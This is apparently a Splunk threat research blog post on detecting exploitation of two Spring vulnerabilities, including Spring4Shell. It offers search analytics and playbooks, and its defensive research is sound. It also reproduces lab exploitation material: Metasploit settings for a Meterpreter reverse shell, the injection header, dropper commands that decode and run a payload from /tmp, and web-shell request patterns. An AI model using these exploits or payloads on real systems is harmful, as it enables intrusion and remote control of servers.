The Splunk Threat Research Team (STRT) has been heads-down attempting to understand, simulate, and detect the Spring4Shell attack vector. This post shares detection opportunities STRT found in different stages of successful Spring4Shell exploitation.
At the time of writing, there are two publicly known CVEs: CVE-2022-22963, and CVE-2022-22965. The Splunk Security Content below is designed to cover exploitation attempts across both CVEs. The two CVEs were released around the same time confusing which is Spring4Shell. CVE-2022-22965 is the Spring4Shell vulnerability. Using Attack Range and the data collected, STRT developed 5 new detections and related 3 playbooks to help Splunk SOAR customers investigate and respond to this threat.
STRT wanted to frame our work around two CVEs that were released around the same time and share how STRT used Splunk Attack Range to generate Attack Data and Security Content related to the Spring Application vulnerabilities.
Per the CVE, the following Spring Cloud Function versions 3.1.6, 3.2.2, and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing expression that may result in remote code execution and access to local resources. The exploit for CVE-2022-22963 was merged into Metasploit on 3/31/2022 allowing anyone using the framework to easily validate the exploit against a vulnerable application.
Setup
To set up a vulnerable environment, the following GitHub repository was quick and easy and the steps are as follows.
Repository: https://github.com/hktalent/spring-spel-0day-poc
Setup vulnerable Spring Cloud Function environment:
apt install openjdk-11-jre wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar
After the application is up and running, the user can now use the Metasploit module.
Exploit
A successful exploitation attempt against a vulnerable java application will look like this:
msf6 exploit(multi/http/spring_cloud_function_spel_injection) > options
Module options (exploit/multi/http/spring_cloud_function_spel_injection):
Name Current Setting Required Description ---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 35.84.123.246 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /functionRouter yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 54.188.59.68 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
rhosts => 54.218.192.0
msf6 exploit(multi/http/spring_cloud_function_spel_injection) > run
-------
The author noted behaviors for this exploit to be successful here, including that the exploit works by crafting a request to the application and setting the spring.cloud.function.routing-expression header; it allows an unauthenticated attacker the ability to gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
Detection Opportunities
Based on exploit code know the following will occur:
During exploitation the URI of /FunctionRouter and the 500 status code is observed in proxy logs and inside the source headers is the following
src_headers: POST /functionRouter HTTP/1.1
Host: 35.81.88.66:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{‘/bin/sh’,‘-c’,’echo -n…..
Meterpreter
While using Metasploit it was easy to see how the payload was being brought in once the exploit was successful. This was not our specific observation, but STRT felt it was worth sharing how this looks incoming to a web server.
The following is two successful exploitations:
/bin/sh -c echo -n f0VMRgIBAQAAAAAA….>>'/tmp/CmiJc.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tkRVa' < '/tmp/CmiJc.b64' ; chmod +x '/tmp/tkRVa' ; '/tmp/tkRVa' ; rm -f '/tmp/tkRVa' ; rm -f '/tmp/CmiJc.b64'
/bin/sh -c echo -n f0VMRgIB….>>'/tmp/uovIM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/BbqZQ' < '/tmp/uovIM.b64' ; chmod +x '/tmp/BbqZQ' ; '/tmp/BbqZQ' ; rm -f '/tmp/BbqZQ' ; rm -f '/tmp/uovIM.b64'
/bin/sh /usr/bin/which base64
/tmp/BbqZQ
/tmp/tkRVa
base64 -d -
chmod +x /tmp/BbqZQ
chmod +x /tmp/tkRVa
ps -e -o pid,ppid,state,command
rm -f /tmp/NwrCe
rm -f /tmp/SZjOO.b64
(base64 removed for brevity)
STRT noticed this occurs right as the POST is successful and the main /bin/sh command executing with spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[] in the source headers. Upon successful decode and execution of the /tmp/ file, a new Meterpreter session has been created.
[-] Handler failed to bind to 54.188.59.68:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3020772 bytes) to 54.218.192.0
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (172.31.22.123:4444 -> 54.218.192.0:46486 ) at 2022-04-06 13:39:09 +0000
Analytic
Web Spring Cloud Function FunctionRouter
The following analytic was generated in relation to CVE-2022-22963. It identifies the POST to the URI path of /FunctionRouter. Depending on the environment, this analytic may not be noisy. We’ve found across a large dataset this has only generated notables based on scanning looking for the vulnerability.
| tstats count from datamodel=Web where Web.http_method IN ("POST") Web.url="*/functionRouter*" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest Web.status sourcetype | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |
For the fun part, Spring4Shell, or CVE-2022-22965, has a much broader proof-of-concept (POC) code available to test with. STRT gathered some of the POCs available on GitHub and pulled out the artifacts of interest, which are the URI and data or payload. As previously built, this time the POCs required Tomcat9 installed and hosting a simple vulnerable Java application. STRT looked at both endpoint and network for detection opportunities.
This exploit works in the following manner and SnapSec provided a great walkthrough from beginning to end.
Setup
To begin, the following environment is required:
In our case, SnapSec referenced a vulnerable Java Spring Application that allowed for quick setup and testing. STRT used the DockerFile as our guide and set the stage using the Tomcat9 version and copied over the src files as noted.
Following the steps from the DockerFile mentioned, inside the Attack Range Ubuntu host, STRT ran similar commands to set it up:
apt install openjdk-11-jdk
apt install tomcat9
git clone https://github.com/reznok/Spring4Shell-POC.git
With this directory, you will build the app and then move the /src/ to /var/lib/tomcat9/webapps/ROOT
cd Spring4Shell-POC
apt update && apt install maven -y
mvn clean package
mv target/helloworld.war /usr/local/tomcat/webapps/
As a final directory listing, here is the output of /var/lib/tomcat9/webapps
ubuntu@sysmonlinux-mhaag-attack-range-2912:/var/lib/tomcat9/webapps$ ls -lah total 19M
drwxrwxr-x 4 tomcat tomcat 4.0K Apr 14 20:27 .
drwxr-xr-x 5 root root 4.0K Apr 14 20:27 ..
drwxr-xr-x 3 root root 4.0K Apr 14 20:26 ROOT
drwxr-x--- 5 tomcat tomcat 4.0K Apr 14 20:27 helloworld
-rwsrwsrwt 1 root root 19M Apr 14 20:24 helloworld.war
service tomcat9 status
POC Analysis
A simple GitHub search will provide the following output. From there, grab the top POCs and review them.
A quick perusal of the top 3, for this example, showcases that the data/payload bit is all the same. This indicator provides a potential tipoff of one avenue to explore while developing detections.
The top 3 samples reviewed all have the same pattern for the exploit that will be passed to the web server.
After a successful exploitation the URL will be shared and from the sampling the following are provided:
Exploit
The following sample was used to validate the vulnerability https://github.com/reznok/Spring4Shell-POC . Each attempt worked and a shell.jsp was written to disk and by visiting the site a response would be provided.
Other POC scripts exist, as outlined above, including other vulnerable docker containers to explore with.
Detection Opportunities
Spring4Shell provides a few more detection opportunities based on the behaviors identified.
Analytics
Java Writing JSP File
Upon successful exploitation, a new jsp file is created within the web app directory. The following analytic identifies the process and path of the new file on disk. The POCs provide the ability to name the file anything, but there are some standard filenames (covered in Spring4Shell Payload URL Request).
| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN ("java","java.exe", "javaw.exe") by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_name="*.jsp*" by _time Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.user | `drop_dm_object_name(Filesystem)` | fields _time process_guid file_path file_name file_create_time user dest process_name] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |
Web JSP Request via URL
Based on the proof of concept code identified and testing, the next analytic identifies the commonly used URI paths being requested.
Note here that the cmd= is arbitrary, anything may be ran via the URI. The filename is also arbitrary. Our review across a large dataset:
| tstats count from datamodel=Web where Web.http_method IN ("GET") Web.url IN ("*.jsp?cmd=*","*j&cmd=*") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |
Spring4Shell Payload URL Request
| tstats count from datamodel=Web where Web.http_method IN ("GET") Web.url IN ("*tomcatwar.jsp*","*poc.jsp*","*shell.jsp*") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |
From reviewing the POCs STRT found that there were precise filenames, payloads, that are used. Based on a larger dataset this provided quick visibility.
Web Spring4Shell HTTP Request Class Module
This analytic uses Splunk Stream HTTP to view the http request body, form data. STRT reviewed all the current proof of concept code and determined the commonality with the payloads being passed used the same fields “class.module.classLoader.resources.context.parent.pipeline.first”.
`stream_http` http_method IN ("POST") | stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by http_method http_user_agent uri_path url bytes_in bytes_out | search http_request_body IN ("*class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_*", "*class.module.classLoader.resources.context.parent.pipeline.first.pattern*","*suffix=.jsp*") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |
The following detections are related to Spring4Shell and include test data that may be reviewed or replayed into Splunk.
Name |
Technique |
Type |
TTP |
||
TTP |
||
Web Shell, Server Software Component, Exploit Public-Facing Application |
TTP |
|
Web Shell, Server Software Component, Exploit Public-Facing Application |
TTP |
|
TTP |
||
TTP |
All of the previously listed detections create entries in the risk index by default, and can be used seamlessly with risk notables and the Risk Notable Playbook Pack. The following community Splunk SOAR playbooks below can also be used in conjunction with some of the previously described analytics:
Playbook |
Description |
Investigate an internal *nix host using SSH. This pushes a bash script to the endpoint and runs it, collecting generic information about the processes, user activity, and network activity. This includes the process list, login history, cron jobs, and open sockets. The results are zipped up in .csv files and added to the vault for an analyst to review. |
|
Performs a general investigation on key aspects of a windows device using windows remote management. Important files related to the endpoint are generated, bundled into a zip, and copied to the container vault. |
|
This playbook acts upon events where a file has been determined to be malicious (ie webshells being dropped on an end host). Before deleting the file, we run a “more” command on the file in question to extract its contents. We then run a delete on the file in question. |
The Splunk platform removes the barriers between data and action, empowering observability, IT and security teams to ensure their organizations are secure, resilient and innovative.
Founded in 2003, Splunk is a global company — with over 7,500 employees, Splunkers have received over 1,020 patents to date and availability in 21 regions around the world — and offers an open, extensible data platform that supports shared data across any environment so that all teams in an organization can get end-to-end visibility, with context, for every interaction and business process. Build a strong data foundation with Splunk.